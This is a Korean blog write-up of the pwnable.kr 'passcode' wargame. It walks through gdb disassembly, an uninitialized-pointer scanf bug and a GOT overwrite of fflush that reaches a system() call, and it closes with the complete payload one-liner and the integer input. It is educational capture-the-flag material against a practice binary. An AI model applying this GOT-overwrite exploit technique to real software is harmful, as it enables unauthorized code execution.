일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- 동기화문제
- 가상메모리
- dfs
- 운영체제
- 구현
- 김건우
- 백트래킹
- segmentation
- ascii_easy
- 프로세스
- samsung research
- exec
- higunnew
- fork
- Memory Management
- 백준
- BOJ
- 스케줄링
- 알고리즘
- 데드락
- BFS
- paging
- Brute Force
- 삼성기출
- 삼성리서치
- Deadlock
- 완전탐색
- 컴공복전
- pwnable.kr
- 시뮬레이션
- Today
- Total
gunnew의 잡설
pwnable.kr 5. passcode 본문
코드만 보고 개쉬울줄 알았다가 너무 어려워 해설을 찾아보았다. 역시나 이번에도 내가 모르는 개념을 마음껏 써 재껴야 풀리는 문제였다. 뭐 아무래도 좋다. 이러면서 배우는 거니까!
소스 코드 먼저 보자. 읽다 보면 이상한 점이 발견될 것이다. 바로 login()에서
scanf("%d", passcode1);
...
scanf("%d", passcode2);
이다. scanf로 해당 변수에 값을 넣으려면 &를 붙여 주소를 입력해야 한다. 그런데 여기서는 그냥 변수 명을 넣어주었다. 잘 생각해보면, scanf는 두 번째 인자로 넘어온 부분의 '값'에 해당하는 '곳'에 입력된 것을 넣는다. 그러니까 두 번째 인자로 어떤 변수의 주소 '값'이 들어오면 거기에다가 입력된 값을 넣는다. 일단 이 점을 염두에 두고 gdb를 실행하자.
1. gdb passcode & disas welcome |
이에 앞서 gdb를 조금 더 이쁘게 보고 싶다는 욕구가 있을 것이다. 하루 종일 흰 글씨만 보고 있으면 있던 재미도 다 떨어질 것이다. peda(Python Exploit Development Assistance for GDB)라는 인터페이스를 활용해보자. 사용법은 간단하다. ssh 서버로 pwnable.kr에 접속하고 나서 gdb를 실행한 다음에 source /usr/share/peda/peda.py를 치면 됨.
passcode@pwnable:~$ gdb passcode
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
...
(gdb) source/usr/share/peda/peda.py
gdb-peda$ set disassembly-flavor intel
gdb-peda$ disass welcome
짜잔!
gdb-peda$ pdisass welcome
Dump of assembler code for function welcome:
0x08048609 <+0>: push ebp
0x0804860a <+1>: mov ebp,esp
0x0804860c <+3>: sub esp,0x88
// stack canary (Bof를 방지하기 위해 ebp - 12에다가 gs:0x14 데이터를 옮겨 놓음. 일종의 플래그
0x08048612 <+9>: mov eax,gs:0x14
0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax
0x0804861b <+18>: xor eax,eax
0x0804861d <+20>: mov eax,0x80487cb
0x08048622 <+25>: mov DWORD PTR [esp],eax
0x08048625 <+28>: call 0x8048420 <printf@plt>
0x0804862a <+33>: mov eax,0x80487dd
// ebp - 112에 name[100]이 저장되어 있을 것. ebp - 12에 stack canary가 있으므로 딱 100 bytes
0x0804862f <+38>: lea edx,[ebp-0x70]
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804863e <+53>: mov eax,0x80487e3
0x08048643 <+58>: lea edx,[ebp-0x70]
0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx
0x0804864a <+65>: mov DWORD PTR [esp],eax
0x0804864d <+68>: call 0x8048420 <printf@plt>
0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc]
0x08048655 <+76>: xor eax,DWORD PTR gs:0x14
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
End of assembler dump.
2. pdisas login |
welcome() 에서 return하고 난 다음 바로 login을 한다. 그러니까 ebp, esp는 변함없을 것이다.
gdb-peda$ pdisass login
Dump of assembler code for function login:
0x08048564 <+0>: push ebp
0x08048565 <+1>: mov ebp,esp
0x08048567 <+3>: sub esp,0x28
0x0804856a <+6>: mov eax,0x8048770
0x0804856f <+11>: mov DWORD PTR [esp],eax
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov eax,0x8048783
// ebp - 16에 passcode1이 있다. 다만 ebp - 16의 주소를 넘기는 게 아니라 '값'을 넘긴다는 것에 유의하자.
0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10]
0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx
0x08048583 <+31>: mov DWORD PTR [esp],eax
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov eax,ds:0x804a02c
0x08048590 <+44>: mov DWORD PTR [esp],eax
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov eax,0x8048786
0x0804859d <+57>: mov DWORD PTR [esp],eax
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov eax,0x8048783
// ebp - 12에 passcode2가 있음
0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc]
0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx
0x080485b1 <+77>: mov DWORD PTR [esp],eax
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: mov DWORD PTR [esp],0x0
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.
근데 가만 생각해보니 조금 이상하다. 우리는 welcome()에서 ebp - 112부터 ebp - 12 직전까지 총 100bytes만 값을 바꿀 수 있었다. 그런데 passcode2가 위치한 자리는 ebp - 12이다. passcode1은 ebp - 16이니까 welcome에서 바꿀 수 있지만 passcode2는 ebp - 12이므로 원래 있던 쓰레기 값(예를 들면 0x000000)에 해당하는 주소로 가서 입력하는 값을 scanf로 넣는다. 그러니까 이대로는 프로그램에 문제가 생길 수밖에 없다.
나는 여기서 도저히 나아갈 수 없어서 구글링의 힘을 빌렸다. 이 문제에서 써야 하는 개념은 PLT(Procedure Linkage Table)와 GOT(Global Offset Table)였다.
PLT와 GOT에 관한 자세한 설명은 다음 블로그 글을 참조하도록 하자.
https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/
https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/
아무래도 PLT와 GOT에 관하여 설명글을 작성해 보아야 할 것 같다. 직접 써보지 않으니 자꾸 헷갈리고 머릿속에 적립이 안되는 기분이다.
아무튼! 결국 현재 프로그램의 흐름대로 따라간다면 정상적으로 system("bin/cat/flag") 함수를 통해 flag를 호출할 수 없다. 따라서 PLT와 GOT를 활용한 프로시져 Jump를 활용할 것이다.
3. PLT와 GOT를 활용한 프로시져 점프 ( using fflush() ) |
passcode1에 해당하는 값을 주소로 받아들여 그 주소 값에 입력한 값을 넣고나면 fflush를 실행한다. 그러면 call 0x8048430 을 실행할텐데 0x8048430에 무슨 instruction이 있는지 살펴보자!
먼저 fflush가 호출되면 0x8048430 부분인 fflush의 plt를 참조하는 것을 확인 할 수 있다.
0x8048430는 plt부분이니 fflush의 plt를 보기 위해 x/i명령을 통해 조사해보면
ds:0x804a004로 또 점프하라고 나온다. PLT가 점프하는 공간이니 그 곳에는 fflush()의 GOT가 들어있을 것이다. 그러니까 PLT로 들어가서(0x8048430) 해당 PLT에서 점프한 곳은 GOT에서의 주소이며, 다시 이 주소로 점프하여 fflush를 실행할 것이다.
이를 활용하여 프로시져를 바로 system("bin/cat/flag")를 실행하는 곳으로 넘겨버리자. 이 함수를 실행하기 위해서는 이 밑에 0x080485e3 으로 프로시져를 넘겨버려야 한다.
0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <system@plt>
정리하자면, welcome()할 때, id를 입력하는 100자리에다가 96자리까지는 아무 값이나 넣고 마지막 4bytes 에다가 0x80485e3을 입력해야 한다. 그러면 passcode1에 0x80485e3 값이 들어가 있을 텐데 passcode1을 scanf할 때, passcode1이 있는 자리에 0x804a004 라는 값이 있기 때문에 그 값에 해당하는 주소에다가 숫자 0x080485e3에 해당하는 값 (134514147)를 입력해주면 성공할 것이다!!
4. Payload 작성 |
(python -c 'print("A"*96 + "\x04\xa0\x04\x08")'; cat) | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�!
134514147
'System Security' 카테고리의 다른 글
pwnable.kr 7. input (Various I/O in Linux) (0) | 2020.02.06 |
---|---|
pwnable.kr 6. random (0) | 2020.02.05 |
pwnable.kr 4. flag (UPX unpacking problem) (0) | 2020.02.02 |
pwnable.kr 3. bof (Buffer overflow) (Stack smashing) (0) | 2020.02.02 |
pwnable.kr 2. collision (0) | 2020.02.02 |